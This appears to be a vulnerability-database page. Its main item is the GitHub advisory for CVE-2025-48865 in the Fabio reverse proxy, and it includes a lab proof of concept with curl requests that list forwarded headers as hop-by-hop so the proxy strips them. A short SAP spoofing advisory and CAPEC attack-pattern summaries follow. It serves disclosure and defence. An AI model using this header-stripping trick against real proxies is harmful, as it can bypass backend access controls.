A Python container runs a simple HTTP server that logs received headers. The Dockerfile:
FROM python:3.11-slim
WORKDIR /app
COPY app.py .
RUN pip install flask
EXPOSE 8080
CMD ["python", "app.py"]
Python Flask Server
from flask import Flask, request
import sys
import os
sys.stdout.flush()
sys.stderr.flush()
os.environ['PYTHONUNBUFFERED'] = '1'
app = Flask(__name__)
@app.before_request
def log_request_info():
print("HEADERS:")
for header_name, header_value in request.headers:
print(f" {header_name}: {header_value}")
@app.route("/", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def hello():
return f"Hello, World! Method: {request.method}"
@app.route("/<path:path>", methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
def catch_all(path):
return f"Caught path: {path}, Method: {request.method}"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
A normal HTTP request/response pair looks like this:
Request
GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
Connection: keep-alive
curl command
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive' \
$'http://127.0.0.1:3000/'
Response
HTTP/1.1 200 OK
Server: Werkzeug/3.1.3 Python/3.11.12
Date: Thu, 22 May 2025 23:09:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25
Connection: close
Hello, World! Method: GET
Server Log
backend-1 | HEADERS:
backend-1 | Host: 127.0.0.1:3000
backend-1 | User-Agent: curl/8.7.1
backend-1 | Accept: */*
backend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1
backend-1 | X-Forwarded-For: 192.168.65.1
backend-1 | X-Forwarded-Host: 127.0.0.1:3000
backend-1 | X-Forwarded-Port: 3000
backend-1 | X-Forwarded-Proto: http
backend-1 | X-Real-Ip: 192.168.65.1
Next, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:
Request
GET / HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: curl/8.7.1
Accept: */*
yeet: 123
Connection: keep-alive, Forwarded
curl command
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: 127.0.0.1:3000' -H $'User-Agent: curl/8.7.1' -H $'Accept: */*' -H $'Connection: keep-alive, Forwarded' \
$'http://127.0.0.1:3000/'
Response
HTTP/1.1 200 OK
Content-Length: 25
Content-Type: text/html; charset=utf-8
Date: Thu, 22 May 2025 23:42:45 GMT
Server: Werkzeug/3.1.3 Python/3.11.12
Hello, World! Method: GET
Server Logs
backend-1 | HEADERS:
backend-1 | Host: 127.0.0.1:3000
backend-1 | User-Agent: curl/8.7.1
backend-1 | Accept: */*
backend-1 | X-Forwarded-For: 192.168.65.1
backend-1 | X-Forwarded-Host: 127.0.0.1:3000
backend-1 | X-Forwarded-Port: 3000
backend-1 | X-Forwarded-Proto: http
backend-1 | X-Real-Ip: 192.168.65.1
The response shows that Fabio's Forwarded header was removed from the request
Impact
If the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.
This vulnerability has a critical severity rating similar to CVE-2022-31813 (Apache HTTP Server, 9.8) and CVE-2024-45410 (Traefik, 9.3)
Stripping headers like X-Real-IP can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: Versa Concerto RCE.
References
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.5"
},
"package": {
"ecosystem": "Go",
"name": "github.com/fabiolb/fabio"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-48865"
],
"database_specific": {
"cwe_ids": [
"CWE-345",
"CWE-348"
],
"github_reviewed": true,
"github_reviewed_at": "2025-05-29T16:50:58Z",
"nvd_published_at": "2025-05-30T07:15:23Z",
"severity": "CRITICAL"
},
"details": "### Summary\nFabio allows clients to remove X-Forwarded headers (except X-Forwarded-For) due to a vulnerability in how it processes hop-by-hop headers.\n\nFabio adds HTTP headers like X-Forwarded-Host and X-Forwarded-Port when routing requests to backend applications. Since the receiving application should trust these headers, allowing HTTP clients to remove or modify them creates potential security vulnerabilities.\n\nHowever, it was found that some of these custom headers can indeed be removed and, in certain cases, manipulated. The attack relies on the behavior that headers can be defined as hop-by-hop via the HTTP Connection header. By setting the following connection header, the X-Forwarded-Host header can, for example, be removed:\n\n```\nConnection: close, X-Forwarded-Host\n```\n\nSimilar critical vulnerabilities have been identified in other web servers and proxies, including [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) in Apache HTTP Server and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) in Traefik.\n\n### Details\nIt was found that the following headers can be removed in this way (i.e. by specifying them within a connection header):\n- X-Forwarded-Host\n- X-Forwarded-Port\n- X-Forwarded-Proto\n- X-Real-Ip\n- Forwarded\n\n### PoC\nThe following docker-compose file was used for testing:\n```yml\nversion: \u00273\u0027\nservices:\n fabio:\n image: fabiolb/fabio\n ports:\n - \"3000:9999\"\n - \"9998:9998\"\n volumes:\n - ./fabio.properties:/etc/fabio/fabio.properties\n\n backend:\n build: .\n ports:\n - \"8080:8080\"\n environment:\n - PYTHONUNBUFFERED=1\n```\n\nThe fabio.properties configuration:\n```\nproxy.addr = :9999\nui.addr = :9998\nregistry.backend = static\nregistry.static.routes = route add service / http://backend:8080/\n```\n\nA Python container runs a simple HTTP server that logs received headers.\nThe Dockerfile:\n```dockerfile\nFROM python:3.11-slim\n\nWORKDIR /app\n\nCOPY app.py .\n\nRUN pip install flask\n\nEXPOSE 8080\n\nCMD [\"python\", \"app.py\"]\n```\n\nPython Flask Server\n```python\nfrom flask import Flask, request\nimport sys\nimport os\n\nsys.stdout.flush()\nsys.stderr.flush()\nos.environ[\u0027PYTHONUNBUFFERED\u0027] = \u00271\u0027\n\napp = Flask(__name__)\n\n@app.before_request\ndef log_request_info():\n print(\"HEADERS:\")\n for header_name, header_value in request.headers:\n print(f\" {header_name}: {header_value}\")\n\n@app.route(\"/\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef hello():\n return f\"Hello, World! Method: {request.method}\"\n\n@app.route(\"/\u003cpath:path\u003e\", methods=[\u0027GET\u0027, \u0027POST\u0027, \u0027PUT\u0027, \u0027DELETE\u0027, \u0027PATCH\u0027])\ndef catch_all(path):\n return f\"Caught path: {path}, Method: {request.method}\"\n\nif __name__ == \"__main__\":\n app.run(host=\"0.0.0.0\", port=8080, debug=True)\n```\n\nA normal HTTP request/response pair looks like this:\n#### Request \n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nConnection: keep-alive\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive\u0027 \\\n $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nServer: Werkzeug/3.1.3 Python/3.11.12\nDate: Thu, 22 May 2025 23:09:12 GMT\nContent-Type: text/html; charset=utf-8\nContent-Length: 25\nConnection: close\n\nHello, World! Method: GET\n```\n\nServer Log\n```\nbackend-1 | HEADERS:\nbackend-1 | Host: 127.0.0.1:3000\nbackend-1 | User-Agent: curl/8.7.1\nbackend-1 | Accept: */*\nbackend-1 | Forwarded: for=192.168.65.1; proto=http; by=172.24.0.3; httpproto=http/1.1\nbackend-1 | X-Forwarded-For: 192.168.65.1\nbackend-1 | X-Forwarded-Host: 127.0.0.1:3000\nbackend-1 | X-Forwarded-Port: 3000\nbackend-1 | X-Forwarded-Proto: http\nbackend-1 | X-Real-Ip: 192.168.65.1\n```\n\nNext, a request, where the Forwarded header is defined as a hop-by-hop header via the Connection header is sent:\n#### Request\n```http\nGET / HTTP/1.1\nHost: 127.0.0.1:3000\nUser-Agent: curl/8.7.1\nAccept: */*\nyeet: 123\nConnection: keep-alive, Forwarded\n```\n\ncurl command\n```bash\ncurl --path-as-is -i -s -k -X $\u0027GET\u0027 \\\n -H $\u0027Host: 127.0.0.1:3000\u0027 -H $\u0027User-Agent: curl/8.7.1\u0027 -H $\u0027Accept: */*\u0027 -H $\u0027Connection: keep-alive, Forwarded\u0027 \\\n $\u0027http://127.0.0.1:3000/\u0027\n```\n#### Response\n```http\nHTTP/1.1 200 OK\nContent-Length: 25\nContent-Type: text/html; charset=utf-8\nDate: Thu, 22 May 2025 23:42:45 GMT\nServer: Werkzeug/3.1.3 Python/3.11.12\n\nHello, World! Method: GET\n```\n\nServer Logs\n```\nbackend-1 | HEADERS:\nbackend-1 | Host: 127.0.0.1:3000\nbackend-1 | User-Agent: curl/8.7.1\nbackend-1 | Accept: */*\nbackend-1 | X-Forwarded-For: 192.168.65.1\nbackend-1 | X-Forwarded-Host: 127.0.0.1:3000\nbackend-1 | X-Forwarded-Port: 3000\nbackend-1 | X-Forwarded-Proto: http\nbackend-1 | X-Real-Ip: 192.168.65.1\n```\n\nThe response shows that Fabio\u0027s `Forwarded` header was removed from the request\n\n### Impact\nIf the backend application trusts these custom headers for security-sensitive operations, their removal or modification may lead to vulnerabilities such as access control bypass.\n\nThis vulnerability has a critical severity rating similar to [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813) (Apache HTTP Server, 9.8) and [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) (Traefik, 9.3)\n\nStripping headers like `X-Real-IP` can confuse the upstream server about whether the request is coming from an external client through the reverse proxy or from an internal source. This type of vulnerability can be exploited as demonstrated in: [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce).\n\n### References\n- [CVE-2024-45410](https://github.com/advisories/GHSA-62c8-mh53-4cqv) \n- [CVE-2022-31813](https://nvd.nist.gov/vuln/detail/CVE-2022-31813)\n- [Versa Concerto RCE](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce)",
"id": "GHSA-q7p4-7xjv-j3wf",
"modified": "2025-05-30T15:25:57Z",
"published": "2025-05-29T16:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fabiolb/fabio/security/advisories/GHSA-q7p4-7xjv-j3wf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-48865"
},
{
"type": "WEB",
"url": "https://github.com/fabiolb/fabio/commit/fdaf1e966162e9dd3b347ffdd0647b39dc71a1a3"
},
{
"type": "PACKAGE",
"url": "https://github.com/fabiolb/fabio"
},
{
"type": "WEB",
"url": "https://github.com/fabiolb/fabio/releases/tag/v1.6.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Fabio allows HTTP clients to manipulate custom headers it adds"
}
GHSA-Q7PG-C8QP-G8W8
Vulnerability from github – Published: 2022-05-13 01:51 – Updated: 2022-05-13 01:51A content spoofing vulnerability in the following components allows to render html pages containing arbitrary plain text content, which might fool an end user: UI add-on for SAP NetWeaver (UI_Infra, 1.0), SAP UI Implementation for Decoupled Innovations (UI_700, 2.0): SAP NetWeaver 7.00 Implementation, SAP User Interface Technology (SAP_UI 7.4, 7.5, 7.51, 7.52). There is little impact as it is not possible to embed active contents such as JavaScript or hyperlinks.
{
"affected": [],
"aliases": [
"CVE-2018-2434"
],
"database_specific": {
"cwe_ids": [
"CWE-345"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-10T18:29:00Z",
"severity": "MODERATE"
},
"details": "A content spoofing vulnerability in the following components allows to render html pages containing arbitrary plain text content, which might fool an end user: UI add-on for SAP NetWeaver (UI_Infra, 1.0), SAP UI Implementation for Decoupled Innovations (UI_700, 2.0): SAP NetWeaver 7.00 Implementation, SAP User Interface Technology (SAP_UI 7.4, 7.5, 7.51, 7.52). There is little impact as it is not possible to embed active contents such as JavaScript or hyperlinks.",
"id": "GHSA-q7pg-c8qp-g8w8",
"modified": "2022-05-13T01:51:08Z",
"published": "2022-05-13T01:51:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-2434"
},
{
"type": "WEB",
"url": "https://launchpad.support.sap.com/#/notes/2633180"
},
{
"type": "WEB",
"url": "https://wiki.scn.sap.com/wiki/pages/viewpage.action?pageId=497256000"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105088"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
No mitigation information available for this CWE.
CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)
An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.
CAPEC-141: Cache Poisoning
An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.
CAPEC-142: DNS Cache Poisoning
A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.
CAPEC-148: Content Spoofing
An adversary modifies content to make it contain something other than what the original content producer intended while keeping the apparent source of the content unchanged. The term content spoofing is most often used to describe modification of web pages hosted by a target to display the adversary's content instead of the owner's content. However, any content can be spoofed, including the content of email messages, file transfers, or the content of other network communication protocols. Content can be modified at the source (e.g. modifying the source file for a web page) or in transit (e.g. intercepting and modifying a message between the sender and recipient). Usually, the adversary will attempt to hide the fact that the content has been modified, but in some cases, such as with web site defacement, this is not necessary. Content Spoofing can lead to malware exposure, financial fraud (if the content governs financial transactions), privacy violations, and other unwanted outcomes.
CAPEC-218: Spoofing of UDDI/ebXML Messages
An attacker spoofs a UDDI, ebXML, or similar message in order to impersonate a service provider in an e-business transaction. UDDI, ebXML, and similar standards are used to identify businesses in e-business transactions. Among other things, they identify a particular participant, WSDL information for SOAP transactions, and supported communication protocols, including security protocols. By spoofing one of these messages an attacker could impersonate a legitimate business in a transaction or could manipulate the protocols used between a client and business. This could result in disclosure of sensitive information, loss of message integrity, or even financial fraud.
CAPEC-384: Application API Message Manipulation via Man-in-the-Middle
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.
CAPEC-385: Transaction or Event Tampering via Application API Manipulation
An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.
CAPEC-386: Application API Navigation Remapping
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.
CAPEC-387: Navigation Remapping To Propagate Malicious Content
An adversary manipulates either egress or ingress data from a client within an application framework in order to change the content of messages and thereby circumvent the expected application logic.
CAPEC-388: Application API Button Hijacking
An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains buttons that point to an attacker controlled destination.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.
CAPEC-701: Browser in the Middle (BiTM)
An adversary exploits the inherent functionalities of a web browser, in order to establish an unnoticed remote desktop connection in the victim's browser to the adversary's system. The adversary must deploy a web client with a remote desktop session that the victim can access.